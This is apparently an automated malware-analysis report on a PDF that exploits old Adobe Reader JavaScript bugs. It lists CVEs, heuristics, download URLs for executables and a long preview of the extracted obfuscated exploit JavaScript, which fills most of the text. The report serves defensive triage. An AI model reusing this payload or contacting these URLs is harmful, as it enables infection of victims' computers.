PDF malware analysis — malicious · 7c777a7fd243f487

MALICIOUS

PDF

75.3 KB Created: 2009-11-12 19:48:17 Authoring application: PDF Library 3.5.5 (via PDF Library 6.1.2) First seen: 2013-04-26

MD5: 3e7f3fe294c4553a951f6f68a067ead0 SHA-1: 5bb1287f46507d594afacb38006c999f0c88d0db SHA-256: 7c777a7fd243f48701fd91fd7f86eddd47e56c7345d8205edfe327a03d6f3049

532 Risk Score

Malware Insights

MITRE ATT&CK

T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF contains obfuscated JavaScript that leverages multiple CVEs (CVE-2009-0927, CVE-2007-5659, CVE-2008-2992) to execute code. The deobfuscated JavaScript explicitly contains URLs pointing to executable files, indicating a downloader functionality. The primary goal appears to be the execution of a second-stage payload from the provided URLs.

Machine Learning

Nyx PDF Classifier malicious score 0.9999

Heuristics 13

Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927

PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659

PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992

PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH

A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT

One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
JavaScript action low 3 related findings PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
PDF JavaScript rebuilds a builtin via replace() to run a char-code array critical PDF_JS_REPLACE_OBFUSCATED_CHARCODE_BUILDER

Decoded PDF JavaScript resolves a String builtin from a junked literal — e.g. String['eQvoaol3'.replace(/[3oQS5]/g,'')] yielding fromCharCode/eval — and feeds a large numeric char-code array through it to rebuild and execute the next stage. Dynamically reconstructing a builtin name by stripping junk characters has no benign purpose; paired with the char-code payload array it is an unambiguous obfuscated-JavaScript exploit dropper.
PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL

Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
ASCIIHexDecode filter (with exploit indicators) medium PDF_FILTER_HEX

Hex-encoding filter present alongside exploit delivery indicators — often used to hide payload or shellcode bytes
PDF differential parser failed info PDF_DIFFERENTIAL_PARSE_FAILED

The cross-check parser (pdfminer.six) failed on this file: PDF differential parser failed: PSSyntaxError. Static heuristics still ran and any of their findings above are valid; only the differential cross-check signal is missing.
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://plllenzo.com/forums/gjtw2.exe Referenced by PDF JavaScript
- http://plllenzo.com/forums/click.php?r=Referenced by PDF JavaScript
- http://plllenzo.com/forums/cipuw2.exeReferenced by PDF JavaScript
- http://plllenzo.com/forums/kmqz2.exeReferenced by PDF JavaScript

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`javascript_obj0007_000.js`	pdf-javascript-stream	PDF /JS object 7 at offset 0x1A5	38048 bytes
SHA-256: `4d33c52e8eace10d113b1159ba5eb2312d2846ad836752f452cc2304cd35d79d`
Preview script First 1,000 lines of the extracted script var swyz=false;ijknr="ijknr";dfhnxz='';aklsxz='';clqt='';cestv=53526;fhkuw=true;bdhsv=30248;cdjz=49721;aistwx="aistwx";var emruvw="",egopvx=true,aejx=0,dgqrw=String,dfikq=dgqrw['f0ruoOm0Cuh7aOrECOoud7eO'.replace(/[OEu07]/g,'')],cdhltz=String,eguxy=cdhltz['etvtatlp'.replace(/[ptGfw]/g,'')],efln="29",cekpv="",beft=[63,67,59,159,167,167,149,173,155,168,160,89,152,162,170,152,155,173,90,178,147,171,165,169,94,89,158,158,160,98,173,70,60,66,59,176,154,162,158,158,82,97,171,154,164,172,162,103,158,158,160,160,166,161,82,99,82,107,82,117,82,165,151,167,91,180,63,67,59,66,59,178,147,171,165,169,82,100,111,89,171,154,164,172,162,116,63,67,59,66,175,70,60,66,59,178,147,171,165,169,82,118,82,178,147,171,165,169,96,172,167,155,165,173,164,162,160,160,90,105,94,89,158,158,160,104,100,98,109,70,60,66,59,171,151,173,167,171,160,89,171,154,164,172,162,116,63,67,59,182,63,67,63,67,59,159,167,167,149,173,155,168,160,89,167,173,155,165,145,169,164,162,160,173,152,97,91,180,63,67,59,66,168,154,164,89,162,154,171,165,161,154,150,89,111,89,167,167,151,172,149,154,162,158,90,91,87,174,119,123,119,114,87,174,98,105,98,106,87,174,103,111,98,105,87,174,115,106,104,109,87,174,98,105,101,105,87,174,98,105,98,105,87,174,102,105,106,123,87,174,106,123,98,124,87,174,99,124,105,105,87,174,106,123,115,125,87,174,98,113,102,105,87,174,117,108,103,126,87,174,106,123,103,110,87,174,106,123,119,124,87,174,98,113,102,110,87,174,101,108,103,107,87,174,117,106,118,107,87,174,98,108,117,107,87,174,99,105,101,107,87,174,106,105,102,105,87,174,98,105,101,113,87,174,120,110,105,110,87,174,117,107,106,123,87,174,103,125,103,122,87,174,98,109,117,107,87,174,103,110,98,105,87,174,119,124,106,123,87,174,103,106,103,106,87,174,103,111,103,108,87,174,104,105,103,112,87,174,103,125,106,123,87,174,101,108,98,113,87,174,106,123,117,105,87,174,98,124,105,110,87,174,120,126,106,123,87,174,105,111,98,108,87,174,106,123,101,124,87,174,105,113,102,126,87,174,117,127,98,108,87,174,103,106,106,123,87,174,103,107,99,124,87,174,103,106,106,123,87,174,103,107,100,109,87,174,105,106,106,123,87,174,102,126,99,109,87,174,105,110,106,114,87,174,106,123,120,124,87,174,100,105,105,106,87,174,120,112,98,108,87,174,102,122,107,114,87,174,102,107,115,125,87,174,101,123,104,105,87,174,120,124,103,110,87,174,98,109,105,110,87,174,117,105,101,108,87,174,101,112,119,123,87,174,120,127,101,108,87,174,102,110,98,108,87,174,107,112,98,124,87,174,117,127,106,123,87,174,105,110,115,126,87,174,100,123,120,125,87,174,102,127,120,114,87,174,119,113,103,106,87,174,120,127,107,109,87,174,120,127,120,127,87,174,117,108,101,123,87,174,105,109,104,106,87,174,119,123,98,107,87,174,106,123,118,114,87,174,98,124,102,110,87,174,103,126,107,107,87,174,120,107,98,108,87,174,119,105,118,106,87,174,117,111,98,108,87,174,117,114,101,108,87,174,116,112,98,127,87,174,103,127,98,113,87,174,119,106,117,106,87,174,98,108,98,107,87,174,98,108,117,122,87,174,106,123,117,127,87,174,98,108,98,106,87,174,106,114,117,107,87,174,120,113,102,110,87,174,106,123,104,106,87,174,120,113,102,110,87,174,103,126,103,127,87,174,117,114,103,123,87,174,103,110,117,108,87,174,119,124,106,123,87,174,119,113,103,106,87,174,120,127,102,114,87,174,120,127,120,127,87,174,104,113,103,105,87,174,104,105,119,113,87,174,98,109,116,127,87,174,104,124,119,113,87,174,120,127,120,127,87,174,101,108,120,127,87,174,103,107,118,107,87,174,120,127,103,107,87,174,98,113,105,110,87,174,118,105,120,127,87,174,102,110,106,114,87,174,106,123,120,124,87,174,120,124,102,110,87,174,117,108,117,114,87,174,106,123,103,110,87,174,106,108,119,124,87,174,98,124,119,124,87,174,102,110,106,125,87,174,103,105,120,109,87,174,102,110,117,111,87,174,105,110,120,109,87,174,102,110,117,111,87,174,105,107,120,110,87,174,102,110,117,111,87,174,104,124,120,111,87,174,102,110,117,111,87,174,104,125,120,112,87,174,102,110,117,111,87,174,104,127,120,113,87,174,102,110,117,111,87,174,104,126,120,114,87,174,102,110,117,111,87,174,100,126,120,122,87,174,102,110,117,111,87,174,104,109,120,123,87,174,102,110,117,111,87,174,104,124,120,124,87,174,102,110,117,111,87,174,104,124,120,125,87,174,102,110,117,111,87,174,98,105,120,126,87,174,115,105,119,113,87,174,120,127,120,127,87,174,103,105,120,127,87,174,103,125,104,113,87,174,99,106,106,122,87,174,119,113,99,111,87,174,120,127,99,110,87,174,120,127,120,127,87,174,117,109,106,108,87,174,106,110,98,124,87,174,105,109,117,105,87,174,104,122,99,110,87,174,104,122,98,105,87,174,120,127,98,105,87,174,98,124,105,110,87,174,105,110,120,127,87,174,104,122,98,113,87,174,120,127,98,105,87,174,106,110,118,105,87,174,105,110,117,105,87,174,102,105,98,108,87,174,117,108,117,114,87,174,117,105,101,108,87,174,117,108,117,114,87,174,101,108,103,112,87,174,106,123,117,105,87,174,100,109,102,124,87,174,106,123,98,124,87,174,100,109,105,124,87,174,120,124,98,113,87,174,115,122,120,108,87,174,117,108,103,127,87,174,102,124,106,123,87,174,98,109,100,109,87,174,101,114,106,105,87,174,106,123,98,105,87,174,105,109,117,106,87,174,102,105,98,111,87,174,101,113,106,105,87,174,105,110,98,105,87,174,100,123,120,122,87,174,117,108,117,106,87,174,106,123,103,110,87,174,106,108,119,124,87,174,104,109,119,124,87,174,106,125,103,108,87,174,120,105,102,110,87,174,101,108,103,112,87,174,103,105,118,123,87,174,102,110,117,111,87,174,104,123,120,105,87,174,102,110,117,111,87,174,104,110,120,106,87,174,102,110,117,111,87,174,105,107,120,107,87,174,102,110,117,111,87,174,104,126,120,108,87,174,102,110,117,111,87,174,104,110,120,109,87,174,102,110,117,111,87,174,104,124,120,110,87,174,102,110,117,111,87,174,101,108,120,111,87,174,102,110,117,111,87,174,101,107,120,112,87,174,102,110,117,111,87,174,100,126,120,113,87,174,102,110,117,111,87,174,104,109,120,114,87,174,102,110,117,111,87,174,104,124,120,122,87,174,102,110,117,111,87,174,104,124,120,123,87,174,103,125,106,113,87,174,119,113,120,124,87,174,120,127,98,123,87,174,120,127,120,127,87,174,104,113,103,105,87,174,102,108,104,113,87,174,106,126,120,114,87,174,106,105,119,113,87,174,120,127,120,126,87,174,106,123,120,127,87,174,106,125,120,113,87,174,107,124,102,110,87,174,102,109,104,122,87,174,119,113,103,105,87,174,120,127,105,126,87,174,120,127,120,127,87,174,102,110,106,125,87,174,104,122,119,105,87,174,103,105,99,105,87,174,105,108,119,113,87,174,120,127,120,127,87,174,106,108,120,127,87,174,99,124,117,109,87,174,102,110,106,125,87,174,103,105,119,105,87,174,102,110,106,125,87,174,103,105,107,124,87,174,103,108,103,108,87,174,103,108,103,108,87,174,103,108,103,108,87,174,105,110,120,127,87,174,117,112,98,113,87,174,107,124,102,110,87,174,98,105,102,109,87,174,98,105,98,105,87,174,120,127,103,108,87,174,103,127,118,112,87,174,116,111,98,127,87,174,103,123,117,105,87,174,117,108,117,114,87,174,106,123,103,110,87,174,103,106,119,124,87,174,103,108,103,106,87,174,103,112,103,111,87,174,102,107,104,122,87,174,105,107,119,113,87,174,98,105,98,105,87,174,106,123,98,105,87,174,101,108,118,113,87,174,106,110,120,111,87,174,103,114,118,123,87,174,102,110,117,112,87,174,104,106,120,113,87,174,104,110,100,126,87,174,117,112,105,113,87,174,120,124,102,110,87,174,98,105,104,110,87,174,98,105,98,105,87,174,103,111,105,126,87,174,102,110,106,125,87,174,103,105,120,113,87,174,119,113,103,111,87,174,98,105,103,106,87,174,98,105,98,105,87,174,103,105,103,114,87,174,116,106,119,113,87,174,120,127,120,126,87,174,106,110,120,127,87,174,103,114,117,105,87,174,105,109,103,114,87,174,106,125,101,114,87,174,98,106,102,111,87,174,119,113,103,105,87,174,98,105,101,123,87,174,98,105,98,105,87,174,120,113,106,123,87,174,102,110,106,125,87,174,103,105,120,113,87,174,100,106,119,113,87,174,120,127,120,127,87,174,106,110,120,127,87,174,103,114,117,105,87,174,105,109,103,114,87,174,103,112,98,124,87,174,98,106,119,113,87,174,120,127,120,127,87,174,103,114,120,127,87,174,102,109,117,111,87,174,120,127,101,113,87,174,103,105,105,108,87,174,102,110,106,125,87,174,120,126,120,113,87,174,103,113,98,105,87,174,102,110,106,125,87,174,103,105,120,113,87,174,119,113,103,112,87,174,120,126,105,109,87,174,120,127,120,127,87,174,103,114,103,114,87,174,102,111,102,111,87,174,120,108,101,123,87,174,115,122,105,124,87,174,103,126,103,127,87,174,117,114,103,123,87,174,103,110,117,108,87,174,119,124,106,123,87,174,103,108,103,106,87,174,104,105,104,111,87,174,101,107,116,106,87,174,98,105,119,113,87,174,98,105,98,105,87,174,103,113,98,105,87,174,98,113,101,113,87,174,98,108,105,109,87,174,119,123,102,105,87,174,102,105,120,114,87,174,103,125,106,123,87,174,106,105,98,113,87,174,102,107,120,123,87,174,98,113,105,110,87,174,118,123,101,108,87,174,99,113,106,122,87,174,117,108,106,123,87,174,99,112,119,123,87,174,99,113,101,113,87,174,99,106,105,111,87,174,101,108,102,105,87,174,106,109,117,114,87,174,105,109,118,123,87,174,102,105,98,124,87,174,98,113,101,113,87,174,120,123,105,110,87,174,120,126,102,105,87,174,119,123,117,123,87,174,101,108,120,107,87,174,106,114,117,105,87,174,120,124,102,110,87,174,102,110,106,123,87,174,103,123,120,124,87,174,117,108,117,114,87,174,98,107,101,107,87,174,105,109,104,113,87,174,105,105,105,109,87,174,100,127,101,122,87,174,105,105,100,127,87,174,104,124,104,124,87,174,104,110,104,124,87,174,105,122,104,126,87,174,100,126,104,127,87,174,104,127,104,108,87,174,100,127,104,125,87,174,104,127,104,111,87,174,105,110,105,107,87,174,105,108,104,125,87,174,104,112,100,127,87,174,105,109,104,122,87,174,101,107,105,112,87,174,104,110,100,126,87,174,104,110,105,113,87,174,104,113,98,105,87,174,105,109,105,109,87,174,101,122,105,105,87,174,100,127,100,127,87,174,104,124,105,105,87,174,104,124,104,124,87,174,104,126,104,110,87,174,104,127,105,122,87,174,104,108,100,126,87,174,104,125,104,127,87,174,104,111,100,127,87,174,105,107,104,127,87,174,104,125,105,110,87,174,100,127,105,108,87,174,104,124,104,108,87,174,104,108,104,114,87,174,100,126,104,123,87,174,104,113,105,105,87,174,101,127,105,105,87,174,101,125,105,107,87,174,98,105,98,105,84,98,109,70,60,66,59,175,147,171,82,167,161,169,82,118,82,174,160,158,165,156,147,169,151,97,84,94,167,105,115,105,115,94,167,105,115,105,115,94,167,105,115,105,115,94,167,105,115,105,115,91,91,70,60,66,59,175,147,171,82,161,151,154,162,155,158,168,149,164,82,118,82,167,161,169,82,100,82,169,147,178,158,168,147,157,109,70,60,66,59,175,147,171,82,155,155,160,148,165,161,156,157,89,111,89,167,167,151,172,149,154,162,158,90,91,87,174,98,122,98,122,87,174,98,122,98,122,84,98,109,70,60,66,59,175,147,171,82,161,151,154,150,158,164,172,155,179,151,89,111,89,100,105,109,70,60,66,59,175,147,171,82,172,162,171,147,178,82,118,82,161,151,154,150,158,164,172,155,179,151,89,93,89,154,158,147,169,148,165,161,156,157,103,158,158,160,160,166,161,109,70,60,66,59,176,154,162,158,158,82,97,148,162,153,155,158,168,149,164,96,165,151,167,153,173,154,89,110,89,165,169,164,154,171,98,173,70,60,66,59,66,148,162,153,155,158,168,149,164,82,100,111,89,148,162,153,155,158,168,149,164,109,70,60,66,59,182,63,67,59,66,168,154,164,89,152,162,158,165,148,165,161,156,157,89,111,89,148,162,153,155,158,168,149,164,96,172,167,155,165,173,164,162,160,160,90,105,94,89,165,169,164,154,171,98,109,70,60,66,59,175,147,171,82,155,158,168,149,164,82,118,82,155,155,160,148,165,161,156,157,103,165,174,148,172,166,171,155,167,153,97,98,101,82,155,155,160,148,165,161,156,157,103,158,158,160,160,166,161,95,172,162,171,147,178,91,116,63,67,59,66,169,161,155,165,151,89,90,155,158,168,149,164,96,165,151,167,153,173,154,100,165,169,164,154,171,89,110,89,98,177,102,105,98,105,98,98,173,70,60,66,59,66,148,165,161,156,157,89,111,89,148,165,161,156,157,89,93,89,148,165,161,156,157,89,93,89,152,162,158,165,148,165,161,156,157,116,63,67,59,66,175,70,60,66,59,175,147,171,82,166,151,166,145,154,164,171,147,178,82,118,82,167,151,176,82,122,164,171,147,178,90,98,109,70,60,66,59,159,161,171,82,97,168,154,164,89,155,89,111,89,98,116,82,162,82,117,82,106,102,105,98,116,82,162,93,100,91,180,63,67,59,66,59,166,151,166,145,154,164,171,147,178,141,162,143,89,111,89,148,165,161,156,157,89,93,89,154,158,147,169,148,165,161,156,157,116,63,67,59,66,175,70,60,66,59,175,147,171,82,167,167,166,82,118,82,106,100,114,107,114,107,114,107,114,107,114,107,114,107,114,107,114,107,114,107,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,113,106,116,63,67,59,66,167,173,155,165,96,169,164,162,160,173,152,97,84,94,102,110,98,105,98,159,84,101,82,167,167,166,91,116,63,67,59,182,63,67,63,67,59,159,167,167,149,173,155,168,160,89,149,168,158,165,147,155,145,158,159,154,155,165,90,98,173,70,60,66,59,175,147,171,82,172,154,158,158,165,149,168,150,158,82,118,82,174,160,158,165,156,147,169,151,97,84,94,167,126,116,126,107,94,167,105,98,105,99,94,167,110,104,105,98,94,167,122,99,111,102,94,167,105,98,108,98,94,167,105,98,105,98,94,167,109,98,113,116,94,167,113,116,105,117,94,167,106,117,112,98,94,167,113,116,122,118,94,167,105,106,109,98,94,167,124,101,110,119,94,167,113,116,110,103,94,167,113,116,126,117,94,167,105,106,109,103,94,167,108,101,110,100,94,167,124,99,125,100,94,167,105,101,124,100,94,167,106,98,108,100,94,167,113,98,109,98,94,167,105,98,108,106,94,167,127,103,112,103,94,167,124,100,113,116,94,167,110,118,110,115,94,167,105,102,124,100,94,167,110,103,105,98,94,167,126,117,113,116,94,167,110,99,110,99,94,167,110,104,110,101,94,167,111,98,110,105,94,167,110,118,113,116,94,167,108,101,105,106,94,167,113,116,124,98,94,167,105,117,112,103,94,167,127,119,113,116,94,167,112,104,105,101,94,167,113,116,108,117,94,167,112,106,109,119,94,167,124,120,105,101,94,167,110,99,113,116,94,167,110,100,106,117,94,167,110,99,113,116,94,167,110,100,107,102,94,167,112,99,113,116,94,167,109,119,106,102,94,167,112,103,113,107,94,167,113,116,127,117,94,167,107,98,112,99,94,167,127,105,105,101,94,167,109,115,114,107,94,167,109,100,122,118,94,167,108,116,111,98,94,167,127,117,110,103,94,167,105,102,112,103,94,167,124,98,108,101,94,167,108,105,126,116,94,167,127,120,108,101,94,167,109,103,105,101,94,167,114,105,105,117,94,167,124,120,113,116,94,167,112,103,122,119,94,167,107,116,127,118,94,167,109,120,127,107,94,167,126,106,110,99,94,167,127,120,114,102,94,167,127,120,127,120,94,167,124,101,108,116,94,167,112,102,111,99,94,167,126,116,105,100,94,167,113,116,125,107,94,167,105,117,109,103,94,167,110,119,114,100,94,167,127,100,105,101,94,167,126,98,125,99,94,167,124,104,105,101,94,167,124,107,108,101,94,167,123,105,105,120,94,167,110,120,105,106,94,167,126,99,124,99,94,167,105,101,105,100,94,167,105,101,124,115,94,167,113,116,124,120,94,167,105,101,105,99,94,167,113,107,124,100,94,167,127,106,109,103,94,167,113,116,111,99,94,167,127,106,109,103,94,167,110,119,110,120,94,167,124,107,110,116,94,167,110,103,124,101,94,167,126,117,113,116,94,167,126,106,110,99,94,167,127,120,109,107,94,167,127,120,127,120,94,167,111,106,110,98,94,167,111,98,126,106,94,167,105,102,123,120,94,167,111,117,126,106,94,167,127,120,127,120,94,167,108,101,127,120,94,167,110,100,125,100,94,167,127,120,110,100,94,167,105,106,112,103,94,167,125,98,127,120,94,167,109,103,113,107,94,167,113,116,127,117,94,167,127,117,109,103,94,167,124,101,124,107,94,167,113,116,110,103,94,167,113,101,126,117,94,167,105,117,126,117,94,167,109,103,113,118,94,167,110,98,127,102,94,167,109,103,124,104,94,167,112,103,127,102,94,167,109,103,124,104,94,167,112,100,127,103,94,167,109,103,124,104,94,167,111,117,127,104,94,167,109,103,124,104,94,167,111,118,127,105,94,167,109,103,124,104,94,167,111,120,127,106,94,167,109,103,124,104,94,167,111,119,127,107,94,167,109,103,124,104,94,167,107,119,127,115,94,167,109,103,124,104,94,167,111,102,127,116,94,167,109,103,124,104,94,167,111,117,127,117,94,167,109,103,124,104,94,167,111,117,127,118,94,167,109,103,124,104,94,167,105,98,127,119,94,167,122,98,126,106,94,167,127,120,127,120,94,167,110,98,127,120,94,167,110,118,111,106,94,167,106,99,113,115,94,167,126,106,106,104,94,167,127,120,106,103,94,167,127,120,127,120,94,167,124,102,113,101,94,167,113,103,105,117,94,167,112,102,124,98,94,167,111,115,106,103,94,167,111,115,105,98,94,167,127,120,105,98,94,167,105,117,112,103,94,167,112,103,127,120,94,167,111,115,105,106,94,167,127,120,105,98,94,167,113,103,125,98,94,167,112,103,124,98,94,167,109,98,105,101,94,167,124,101,124,107,94,167,124,98,108,101,94,167,124,101,124,107,94,167,108,101,110,105,94,167,113,116,124,98,94,167,107,102,109,117,94,167,113,116,105,117,94,167,107,102,112,117,94,167,127,117,105,106,94,167,122,115,127,101,94,167,124,101,110,120,94,167,109,117,113,116,94,167,105,102,107,102,94,167,108,107,113,98,94,167,113,116,105,98,94,167,112,102,124,99,94,167,109,98,105,104,94,167,108,106,113,98,94,167,112,103,105,98,94,167,107,116,127,115,94,167,124,101,124,99,94,167,113,116,110,103,94,167,113,101,126,117,94,167,111,102,126,117,94,167,113,118,110,101,94,167,127,98,109,103,94,167,108,101,110,105,94,167,110,98,125,116,94,167,109,103,124,104,94,167,111,116,127,98,94,167,109,103,124,104,94,167,111,103,127,99,94,167,109,103,124,104,94,167,112,100,127,100,94,167,109,103,124,104,94,167,111,119,127,101,94,167,109,103,124,104,94,167,111,103,127,102,94,167,109,103,124,104,94,167,111,117,127,103,94,167,109,103,124,104,94,167,108,101,127,104,94,167,109,103,124,104,94,167,108,100,127,105,94,167,109,103,124,104,94,167,107,119,127,106,94,167,109,103,124,104,94,167,111,102,127,107,94,167,109,103,124,104,94,167,111,117,127,115,94,167,109,103,124,104,94,167,111,117,127,116,94,167,110,118,113,106,94,167,126,106,127,117,94,167,127,120,105,116,94,167,127,120,127,120,94,167,111,106,110,98,94,167,109,101,111,106,94,167,113,119,127,107,94,167,113,98,126,106,94,167,127,120,127,119,94,167,113,116,127,120,94,167,113,118,127,106,94,167,114,117,109,103,94,167,109,102,111,115,94,167,126,106,110,98,94,167,127,120,112,119,94,167,127,120,127,120,94,167,109,103,113,118,94,167,111,115,126,98,94,167,110,98,106,98,94,167,112,101,126,106,94,167,127,120,127,120,94,167,113,101,127,120,94,167,106,117,124,102,94,167,109,103,113,118,94,167,110,98,126,98,94,167,109,103,113,118,94,167,110,98,114,117,94,167,110,101,110,101,94,167,110,101,110,101,94,167,110,101,110,101,94,167,112,103,127,120,94,167,124,105,105,106,94,167,114,117,109,103,94,167,105,98,109,102,94,167,105,98,105,98,94,167,127,120,110,101,94,167,110,120,125,105,94,167,123,104,105,120,94,167,110,116,124,98,94,167,124,101,124,107,94,167,113,116,110,103,94,167,110,99,126,117,94,167,110,101,110,99,94,167,110,105,110,104,94,167,109,100,111,115,94,167,112,100,126,106,94,167,105,98,105,98,94,167,113,116,105,98,94,167,108,101,125,106,94,167,113,103,127,104,94,167,110,107,125,116,94,167,109,103,124,105,94,167,111,99,127,106,94,167,111,103,107,119,94,167,124,105,112,106,94,167,127,117,109,103,94,167,105,98,111,103,94,167,105,98,105,98,94,167,110,104,112,119,94,167,109,103,113,118,94,167,110,98,127,106,94,167,126,106,110,104,94,167,105,98,110,99,94,167,105,98,105,98,94,167,110,98,110,107,94,167,123,99,126,106,94,167,127,120,127,119,94,167,113,103,127,120,94,167,110,107,124,98,94,167,112,102,110,107,94,167,113,118,108,107,94,167,105,99,109,104,94,167,126,106,110,98,94,167,105,98,108,116,94,167,105,98,105,98,94,167,127,106,113,116,94,167,109,103,113,118,94,167,110,98,127,106,94,167,107,99,126,106,94,167,127,120,127,120,94,167,113,103,127,120,94,167,110,107,124,98,94,167,112,102,110,107,94,167,110,105,105,117,94,167,105,99,126,106,94,167,127,120,127,120,94,167,110,107,127,120,94,167,109,102,124,104,94,167,127,120,108,106,94,167,110,98,112,101,94,167,109,103,113,118,94,167,127,119,127,106,94,167,110,106,105,98,94,167,109,103,113,118,94,167,110,98,127,106,94,167,126,106,110,105,94,167,127,119,112,102,94,167,127,120,127,120,94,167,110,107,110,107,94,167,109,104,109,104,94,167,127,101,108,116,94,167,122,115,112,117,94,167,110,119,110,120,94,167,124,107,110,116,94,167,110,103,124,101,94,167,126,117,113,116,94,167,110,101,110,99,94,167,111,98,111,104,94,167,108,100,123,99,94,167,105,98,126,106,94,167,105,98,105,98,94,167,110,106,105,98,94,167,105,106,108,106,94,167,105,101,112,102,94,167,126,116,109,98,94,167,109,98,127,107,94,167,110,118,113,116,94,167,113,98,105,106,94,167,109,100,127,116,94,167,105,106,112,103,94,167,125,116,108,101,94,167,106,106,113,115,94,167,124,101,113,116,94,167,106,105,126,116,94,167,106,106,108,106,94,167,106,99,112,104,94,167,108,101,109,98,94,167,113,102,124,107,94,167,112,102,125,116,94,167,109,98,105,117,94,167,105,106,108,106,94,167,127,116,112,103,94,167,127,119,109,98,94,167,126,116,124,116,94,167,108,101,127,100,94,167,113,107,124,98,94,167,127,117,109,103,94,167,109,103,113,116,94,167,110,116,127,117,94,167,124,101,124,107,94,167,105,100,108,100,94,167,112,102,111,106,94,167,112,98,112,102,94,167,107,120,108,115,94,167,112,98,107,120,94,167,111,117,111,117,94,167,111,103,111,117,94,167,112,115,111,119,94,167,107,119,111,120,94,167,111,120,111,101,94,167,107,120,111,118,94,167,111,120,111,104,94,167,112,103,112,100,94,167,112,101,111,118,94,167,111,101,107,120,94,167,112,98,111,107,94,167,112,105,112,103,94,167,107,119,108,100,94,167,112,106,111,103,94,167,105,98,111,103,94,167,112,102,111,106,94,167,112,98,112,102,94,167,107,120,108,115,94,167,112,98,107,120,94,167,111,117,111,117,94,167,111,103,111,117,94,167,112,115,111,119,94,167,107,119,111,120,94,167,111,120,111,101,94,167,107,120,111,118,94,167,111,120,111,104,94,167,112,103,112,100,94,167,112,101,111,118,94,167,111,101,107,120,94,167,111,107,111,117,94,167,111,116,111,101,94,167,112,98,107,119,94,167,112,98,111,106,94,167,112,100,108,120,94,167,105,98,108,118,91,91,116,63,67,59,66,168,154,164,89,159,158,159,152,147,171,164,154,171,89,111,89,160,158,169,89,115,171,164,154,171,97,91,116,63,67,59,66,168,154,164,89,149,156,82,118,82,105,170,105,149,105,149,105,149,105,149,116,63,67,59,66,168,154,164,89,147,157,150,171,82,118,82,105,170,109,98,105,98,105,98,116,63,67,59,66,168,154,164,89,165,156,145,165,151,167,82,118,82,172,154,158,158,165,149,168,150,158,96,165,151,167,153,173,154,89,92,89,100,116,63,67,59,66,168,154,164,89,158,158,160,89,111,89,147,157,150,171,82,102,82,97,165,156,145,165,151,167,93,105,170,108,106,98,109,70,60,66,59,175,147,171,82,178,147,171,165,169,82,118,82,174,160,158,165,156,147,169,151,97,84,94,167,114,98,114,98,94,167,114,98,114,98,91,91,116,63,67,59,66,171,154,164,172,162,89,111,89,152,162,170,152,155,173,90,178,147,171,165,169,94,89,158,158,160,98,109,70,60,66,59,175,147,171,82,156,161,174,160,173,100,89,111,89,90,156,149,89,95,89,98,177,102,105,98,105,98,105,91,104,147,157,150,171,109,70,60,66,59,159,161,171,82,97,168,154,164,89,149,168,167,167,166,89,111,89,98,116,82,156,161,174,160,173,82,117,82,156,161,174,160,173,100,116,82,156,161,174,160,173,93,100,91,180,63,67,59,66,59,166,151,166,145,154,164,171,147,178,141,